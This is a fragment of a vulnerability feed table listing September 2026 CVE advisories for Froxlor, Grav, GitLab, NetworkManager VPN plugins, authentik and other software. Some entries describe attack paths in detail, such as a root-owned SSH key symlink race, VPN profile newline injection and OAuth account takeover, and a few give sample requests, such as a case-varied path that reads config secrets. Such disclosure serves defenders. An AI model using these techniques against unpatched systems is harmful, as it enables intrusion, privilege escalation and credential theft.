&lt;td&gt;Froxlor 2.0.0 through 2.3.10 is vulnerable to stored cross-site scripting. When a customer (the lowest-privileged authenticated role) uploads an SSL certificate for one of their own domains, the Certificates API add()/update() methods parse it with openssl_x509_parse() and store the issuer organization (issuer[&#039;O&#039;]) value verbatim without sanitization. Froxlor&#039;s table-listing renderer then emits scalar cells through Twig&#039;s `raw` filter, disabling HTML auto-escaping, so when an administrator or reseller opens Domains &amp;gt; SSL certificates the attacker-supplied issuer value executes as script in the privileged user&#039;s session. This crosses a privilege boundary from customer to admin and can result in full administrator account takeover; because a Froxlor admin controls webserver, DNS, and PHP configuration applied by a cron job running as root, the issue can be further escalated to command execution as root on the managed server. The issue is fixed in Froxlor 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100720&quot; target=&quot;_blank&quot;&gt;CVE-2026-100720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.3.13 returns the ssl_key_file column - which stores the raw PEM TLS private-key content - verbatim in the JSON responses of the Certificates.get and Certificates.listing API commands, because the results of the underlying domain_ssl_settings queries are passed through ApiCommand::response() without any field stripping or allowlist. A low-privileged authenticated customer API caller can retrieve the private keys of their own domains&#039; certificates, including Let&#039;s Encrypt keys that Froxlor generates server-side and stores root-only (0600) and to which the customer otherwise has no filesystem access; reseller and customers_see_all admin accounts can dump the private keys of other principals through the same sink. Disclosed keys enable domain impersonation, passive decryption of captured TLS traffic, and active machine-in-the-middle attacks.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100708&quot; target=&quot;_blank&quot;&gt;CVE-2026-100708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor through 2.3.10 stores only a numeric user ID in remembered-2FA tokens (panel_2fa_tokens) without recording the account namespace, and the remembered-token lookup during login is not constrained to the customer or administrator account type. Because customer and administrator IDs are allocated from separate namespaces, a remembered-2FA token legitimately issued to a customer with a given ID also matches an administrator with the same ID. An attacker who controls a customer account with a colliding ID, holds a valid remembered-2FA cookie for it, and already knows the target administrator&#039;s password can bypass the administrator&#039;s TOTP second factor and obtain an authenticated administrator session. This is a second-factor bypass only; it does not defeat password authentication. Fixed in 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100709&quot; target=&quot;_blank&quot;&gt;CVE-2026-100709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;froxlor versions before 2.3.12 fail to invalidate existing panel sessions, API keys, and 2FA trust cookies when a user password is changed. Attackers holding hijacked sessions, valid API keys, or 2FA trust tokens retain full account access after password rotation, bypassing incident response actions.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100711&quot; target=&quot;_blank&quot;&gt;CVE-2026-100711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor 2.3.10 and earlier contain a time-of-check time-of-use (TOCTOU) race condition in the SSH key synchronization cron (lib/Froxlor/Cron/System/SshKeys.php, SshKeys::generateFiles). The containment/symlink validation performed by FileDir::makeCorrectDir()/makeCorrectFile() is done only at check time; the live filesystem path is re-resolved as root at write time (file_put_contents with FILE_APPEND|LOCK_EX, followed by chmod/chown/chgrp), with a database round-trip and file reads in between, and no path or file-descriptor pinning (no O_NOFOLLOW or openat2(RESOLVE_NO_SYMLINKS)). On installations where the non-default setting system.allow_customer_shell=1 grants customers local shell access, a customer can atomically swap their ~/.ssh directory for a symlink after the check and before the write, causing the root-run cron to append the customer&#039;s public key to /root/.ssh/authorized_keys and to chown /root/.ssh to the customer, resulting in full root compromise of the panel host. The cron re-runs on every interval, allowing unlimited attempts. This is a residual race that bypasses the check-time fix introduced for GHSA-mq5v-... . The issue is fixed in Froxlor 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100713&quot; target=&quot;_blank&quot;&gt;CVE-2026-100713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor through 2.3.10 does not enforce the mail.allow_external_domains policy in the EmailSender.add API command. When an administrator has enabled the allowed-sender feature but disabled external allowed-sender domains (mail.enable_allow_sender = 1, mail.allow_external_domains = 0), an authenticated customer with API access can still use EmailSender.add to register an arbitrary external sender address for their mailbox, which is stored despite the policy. This creates a bypass between the UI/administrator configuration and the API, and - where the generated mail configuration consumes the allowed-sender table - allows a customer to authorize sender identities outside their hosted domains, facilitating sender spoofing. Fixed in 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100718&quot; target=&quot;_blank&quot;&gt;CVE-2026-100718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GestSup--GestSup&lt;/td&gt;
&lt;td&gt;GestSup versions before 3.2.61 contain a remote code execution vulnerability in the basic IMAP connector&#039;s attachment handling that fails to skip blocked file extensions. Unauthenticated attackers can send emails with PHP attachments to monitored mailboxes, which are written to the web-accessible upload/ticket directory and executed when accessed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100389&quot; target=&quot;_blank&quot;&gt;CVE-2026-100389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav CMS 2.0.14 through 2.0.24 contains a privilege escalation vulnerability in the group and account blueprints. The access map is gated by a `security@: admin.super` guard that is resolved by the field&#039;s exact path, so a submitted flat dot-notation key such as `access.admin.super` (instead of the nested `access[admin][super]`) matches no blueprint rule, survives BlueprintSchema::filterArray() and flattening, and is written by FlexObject::update() via setNestedProperty(), which splits on `.` and reconstructs the nested value. An authenticated backend operator using the flex accounts backend who holds admin.users but not admin.super can therefore grant admin.super to their own account or to a group they belong to and escalate to full super-admin, gaining control over configuration, plugin and theme installation, the file manager, and all accounts. Fixed in 2.0.25, which drops any dotted key whose ancestor path is disabled or marked validate.ignore.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100670&quot; target=&quot;_blank&quot;&gt;CVE-2026-100670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 - and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled - page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists get_cookie(), which returns any cookie sent with the current request, including the visitor&#039;s session cookie. Because the read occurs server-side via filter_input(INPUT_COOKIE, ...), the HttpOnly, Secure and SameSite attributes offer no protection. Grav then stores the finished post-Twig output in a page-content cache keyed only on page identity and the configuration checksum, with no session, user or request dimension and no bypass for authenticated visitors. A page published by a page-write user can therefore capture the session identifier of the next administrator who views it, after which the cached output serves that identifier to unauthenticated visitors, who can replay the cookie to authenticate as that administrator. Since 2.0.19, security.twig_content.process_enabled defaults to true and Security::applyTwigContentDefault() derives each page&#039;s process.twig flag from that gate, so content Twig runs on every page with no frontmatter or operator action. Fixed in 2.0.25; 1.7.x is outside the backport scope.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100671&quot; target=&quot;_blank&quot;&gt;CVE-2026-100671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config (IIS), every deny rule (user_sensitive_folders, user_accounts, user_data, user_error_redirect, user_pages, system, vendor, ignore_folders) sets ignoreCase=&quot;false&quot; on its URL Rewrite &amp;lt;match&amp;gt; element, overriding the IIS default of ignoreCase=&quot;true&quot;; because these are rewrite matches rather than &amp;lt;requestFiltering&amp;gt; elements, there is no case-insensitive fallback. On IIS running over case-insensitive NTFS, an unauthenticated remote attacker can vary the case of a folder name or file extension (for example GET /user/CONFIG/system.YAML) so that no deny rule matches and the IIS static file handler resolves and returns the underlying file, disclosing sensitive data such as configuration secrets or account password hashes. Whether a bypassed file is actually returned depends on MIME registration: .json is served by default, while .yaml/.yml return HTTP 404.3 on a stock IIS unless a YAML MIME mapping has been added. The same class of gap exists in the bundled webserver-configs/lighttpd.conf, whose user/(config|env), directory, script-extension, root-file and dotfile rules lack the (?i) modifier, though it is lower risk because lighttpd typically runs on case-sensitive filesystems. Deployments served by Apache (.htaccess), nginx, Caddy, or the PHP built-in server are not affected. The issue is fixed in 2.0.25; because the .htaccess installer heal does not touch web.config or lighttpd.conf, operators must re-copy the corrected sample files after upgrading.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100669&quot; target=&quot;_blank&quot;&gt;CVE-2026-100669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav-plugin-comments&lt;/td&gt;
&lt;td&gt;The Comments plugin (getgrav/grav-plugin-comments) for Grav CMS through version 1.2.10 registers an admin handler that returns comment data as JSON without any authentication check. The handler branches on isAdmin(), which only indicates that the admin service is registered on the current route rather than that the visitor is authenticated, and it echoes the JSON and calls exit() during the plugins stage, before the classic Admin plugin would render its login screen. On a site using the classic Admin plugin with Comments enabled (the default), an unauthenticated remote attacker can request /admin/comments/page:&amp;lt;n&amp;gt; (e.g. page:0.001) and retrieve every comment from the last 7 days, including each commenter&#039;s email address and the absolute server filesystem path of the data file. Sites running the Grav 2.0 Admin Next stack (admin2 + api) are not affected via this path. The issue is fixed in 1.2.11, which requires an authenticated user with admin.comments or admin.super and removes the absolute filePath from the response.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100672&quot; target=&quot;_blank&quot;&gt;CVE-2026-100672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav-plugin-datamanager&lt;/td&gt;
&lt;td&gt;The Grav Data Manager plugin (getgrav/grav-plugin-datamanager) versions 1.0.1 through 1.4.4 render stored data entries in the item-detail view (admin/templates/partials/item.html.twig) without escaping, applying Twig&#039;s `raw` filter - in some cases after a striptags(&#039;&amp;lt;br&amp;gt;&#039;) call that PHP&#039;s strip_tags() bypasses by preserving allowed tags together with their attributes. An unauthenticated visitor who submits a front-end form whose submissions are saved to user/data can store an HTML payload that executes as JavaScript in the session and origin of an administrator who later opens that entry in the classic admin panel, running with that administrator&#039;s privileges and CSRF token. Execution occurs without further interaction for list values (such as checkbox or multi-select fields) and on hover for ordinary text fields. Sites using the Grav 2.0 Admin Next interface are not affected, because it renders the same data through a separate, correctly escaping code path. The issue is fixed in Data Manager 1.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100673&quot; target=&quot;_blank&quot;&gt;CVE-2026-100673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gigatech--PDV5701&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Gigatech PDV5701 1.0.31_240305_112640. This issue affects some unknown processing of the file /index.html of the component WebSocket Service. The manipulation results in missing authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94493&quot; target=&quot;_blank&quot;&gt;CVE-2026-94493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gimanh--taskview-community&lt;/td&gt;
&lt;td&gt;Taskview Community before 1.56.0 contains a missing authentication vulnerability that allows unauthenticated attackers to register arbitrary OAuth clients and take over user accounts by exploiting the OAuth 2.0 Dynamic Client Registration endpoint, which is enabled by default and requires no authentication. Attackers can send a POST request to the registration endpoint to obtain a client_id and client_secret, then craft a malicious authorization link pointing to an attacker-controlled redirect URI to capture authorization codes and exchange them for access tokens granting full API access to victim account data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93354&quot; target=&quot;_blank&quot;&gt;CVE-2026-93354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a specially crafted regular expression in a CI/CD configuration.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89078&quot; target=&quot;_blank&quot;&gt;CVE-2026-89078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to an integer overflow issue when compiling a specially crafted regular expression in a CI/CD configuration.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93577&quot; target=&quot;_blank&quot;&gt;CVE-2026-93577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 18.7 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to access sensitive CI/CD variable values from debug-mode job traces through the Duo AI troubleshooting feature due to missing authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92470&quot; target=&quot;_blank&quot;&gt;CVE-2026-92470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitoxideLabs--gitoxide&lt;/td&gt;
&lt;td&gt;gitoxide gix-fs before 0.23.0 contains a path validation bypass vulnerability in the worktree checkout mechanism that allows attackers to escape the worktree directory via symlink manipulation. During forced checkout with overwrite_existing enabled, attackers can craft malicious repository trees where symlink entries replace validated directories, causing subsequent files to be written outside the worktree through the symlink for code execution or file manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100419&quot; target=&quot;_blank&quot;&gt;CVE-2026-100419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitroomHQ--postiz-app&lt;/td&gt;
&lt;td&gt;Postiz generates security-sensitive credentials using `Math.random()` instead of a cryptographically secure source. The same helper is used for OAuth access tokens, authorization codes, client secrets, organization API keys, and PKCE verifiers, meaning these credentials depend entirely on V8&#039;s deterministic xorshift128+ PRNG state. An unauthenticated OAuth dynamic client registration endpoint exposes freshly generated client credentials, giving attackers enough consecutive PRNG output to reconstruct that internal state. Once recovered, they can deterministically derive past and future values produced by the same generator, potentially compromising credentials belonging to other users and organizations.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94456&quot; target=&quot;_blank&quot;&gt;CVE-2026-94456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitroomHQ--postiz-app&lt;/td&gt;
&lt;td&gt;An HTTP endpoint intended for provisioning enterprise and reseller organisations is reachable without any session. The authentication middleware is bound only to an explicit list of controllers, and the enterprise controller is not on that list, so no authentication runs for these routes. The endpoint&#039;s only check is that the request body carries a token bearing a valid signature from the instance secret. It does not check what that token was issued for. Login tokens are signed with the same secret and carry no purpose, audience or expiry claim, so an ordinary user&#039;s own session token satisfies the check. Presented with such a token, the endpoint creates a new organisation holding the highest subscription tier, flagged as lifetime and with a channel allowance far above any sold plan, creates an organisation-owner account alongside it, and returns the new organisation&#039;s API key in the response body. That key is immediately valid against the public API.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94455&quot; target=&quot;_blank&quot;&gt;CVE-2026-94455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--NetworkManager-fortisslvpn&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-fortisslvpn, the FortiSSLVPN plugin for NetworkManager. The nm-fortisslvpn-service improperly handles carriage-return/line-feed (CR/LF) characters in VPN connection profile credentials. A local unprivileged user can exploit this by crafting a malicious VPN profile to inject additional configuration directives. This can lead to arbitrary code execution with root privileges when the crafted VPN connection is activated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91839&quot; target=&quot;_blank&quot;&gt;CVE-2026-91839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--NetworkManager-iodine&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-iodine, the iodine VPN plugin for NetworkManager. A local unprivileged user can exploit a vulnerability in how the &#039;nameserver&#039; setting is processed when establishing an iodine VPN connection. By embedding shell metacharacters (special characters that can execute commands) in the &#039;nameserver&#039; value, an attacker can inject and execute arbitrary commands. These commands run with root privileges before the application drops its elevated permissions, leading to local privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91837&quot; target=&quot;_blank&quot;&gt;CVE-2026-91837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--NetworkManager-sstp&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-sstp, the SSTP VPN plugin for NetworkManager. A local unprivileged user can exploit this vulnerability by embedding special characters, known as shell metacharacters, into VPN connection profile fields such as CA certificate or proxy settings. These unescaped characters are then processed by the `pppd` daemon, which runs with root privileges, allowing the attacker to execute arbitrary commands with elevated permissions when a malicious VPN connection is activated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91838&quot; target=&quot;_blank&quot;&gt;CVE-2026-91838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--NetworkManager-vpnc&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-vpnc. This vulnerability allows a local unprivileged user to escalate privileges to root. By injecting a newline character into the VPN username field, an attacker can manipulate the vpnc configuration to execute an arbitrary program with root privileges when the malicious VPN connection is activated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91840&quot; target=&quot;_blank&quot;&gt;CVE-2026-91840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--NetworkManager-vpnc&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-vpnc, a VPN plugin for NetworkManager. A local unprivileged user can exploit this vulnerability by injecting a newline character into the CA-File path. This manipulation allows the user to execute arbitrary commands as the root user, leading to local privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91841&quot; target=&quot;_blank&quot;&gt;CVE-2026-91841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU Emacs--GNU Emacs&lt;/td&gt;
&lt;td&gt;A code execution flaw was found in Emacs, affecting versions prior to 31.2. The Flymake mode using language backends other than Lisp would execute arbitrary code from the edited file while performing syntax checking. Viewing or editing untrusted files using Emacs could lead to arbitrary code execution with the privileges of the user running Emacs.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96442&quot; target=&quot;_blank&quot;&gt;CVE-2026-96442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--libextractor&lt;/td&gt;
&lt;td&gt;GNU libextractor before 1.16 loads plugins from an untrusted search path specified by the LIBEXTRACTOR_PREFIX environment variable without proper privilege checks. A local attacker can exploit this by setting LIBEXTRACTOR_PREFIX to a directory containing a malicious plugin that executes arbitrary code with elevated privileges when loaded by a setuid or setgid program.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100310&quot; target=&quot;_blank&quot;&gt;CVE-2026-100310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goauthentik--authentik&lt;/td&gt;
&lt;td&gt;authentik is an open-source identity provider. Prior to 2026.2.7, 2026.5.7, and 2026.8.2, authentik email authenticator enrollment during an authentication or enrollment flow accepts a recipient address supplied in the setup request instead of using the address already established by the flow. An actor who knows a target user&#039;s password can substitute an attacker-controlled address, receive the one-time code, and finish enrolling the factor as the target. The target must not have enrolled the email factor already. Successful enrollment gives the actor a session as the target and access to single sign-on applications behind the account. Other authenticator types are not affected. This issue is fixed in versions 2026.2.7, 2026.5.7, and 2026.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94606&quot; target=&quot;_blank&quot;&gt;CVE-2026-94606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goauthentik--authentik&lt;/td&gt;
&lt;td&gt;authentik is an open-source identity provider. Prior to 2026.2.7, 2026.5.7, and 2026.8.2, an account with delegated permission to manage a group, group membership, or a user can grant superuser status to an account or assign an existing role to a group without holding the permissions that gate those privileges. Group hierarchy checks do not consistently account for superuser status inherited from ancestor groups, and role assignment to a group lacks the required authorization check. Only deployments that delegate these management capabilities to accounts that are not full administrators are affected. This issue is fixed in versions 2026.2.7, 2026.5.7, and 2026.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94609&quot; target=&quot;_blank&quot;&gt;CVE-2026-94609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goauthentik--authentik&lt;/td&gt;
&lt;td&gt;authentik is an open-source identity provider. Prior to 2026.2.7, 2026.5.7, and 2026.8.2, authentik API serializers return stored credentials when an account has view permission on an affected configuration, even when that account is not authorized to change the configuration or read its secrets. Affected configurations include one-time code delivery by mail or SMS, outbound provisioning targets, device trust integrations, identity sources, the Kubernetes outpost integration, applications using a client or shared secret, and applications using a proxy provider. Deployments are affected when view permission is granted to accounts that are not intended to read these credentials; deployments where every viewer is permitted to read them are not affected. This issue is fixed in versions 2026.2.7, 2026.5.7, and 2026.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94611&quot; target=&quot;_blank&quot;&gt;CVE-2026-94611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goauthentik--authentik&lt;/td&gt;
&lt;td&gt;authentik is an open-source identity provider. Prior to 2026.2.7, 2026.5.7, and 2026.8.2, an authentik SAML Source verifies an assertion&#039;s signature and validity period but does not ensure that the identity provider issued the assertion for that Source or in response to a login request from that Source. The SAML Source also does not record already accepted assertions, allowing replay. An unauthenticated actor who possesses such a valid assertion can use an assertion intended for another service provider or reuse an earlier assertion to authenticate as the user named by the assertion. Only SAML Sources are affected; SAML Providers and other Source types are not affected. This issue is fixed in versions 2026.2.7, 2026.5.7, and 2026.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94612&quot; target=&quot;_blank&quot;&gt;CVE-2026-94612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goauthentik--authentik&lt;/td&gt;
&lt;td&gt;authentik is an open-source identity provider. Prior to 2026.2.7, 2026.5.7, and 2026.8.2, an unauthenticated attacker can submit a malformed SAML message to an authentik deployment using SAML in either the identity-provider or SAML source role. The message can stop the worker handling /application/saml/* or /source/saml/*, causing the requests assigned to that worker to fail. Worker process termination and automatic restart do not destroy database-backed sessions, but continued malicious messages can cause a sustained share of legitimate traffic to fail. Other protocol implementations are not affected. This issue is fixed in versions 2026.2.7, 2026.5.7, and 2026.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94613&quot; target=&quot;_blank&quot;&gt;CVE-2026-94613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
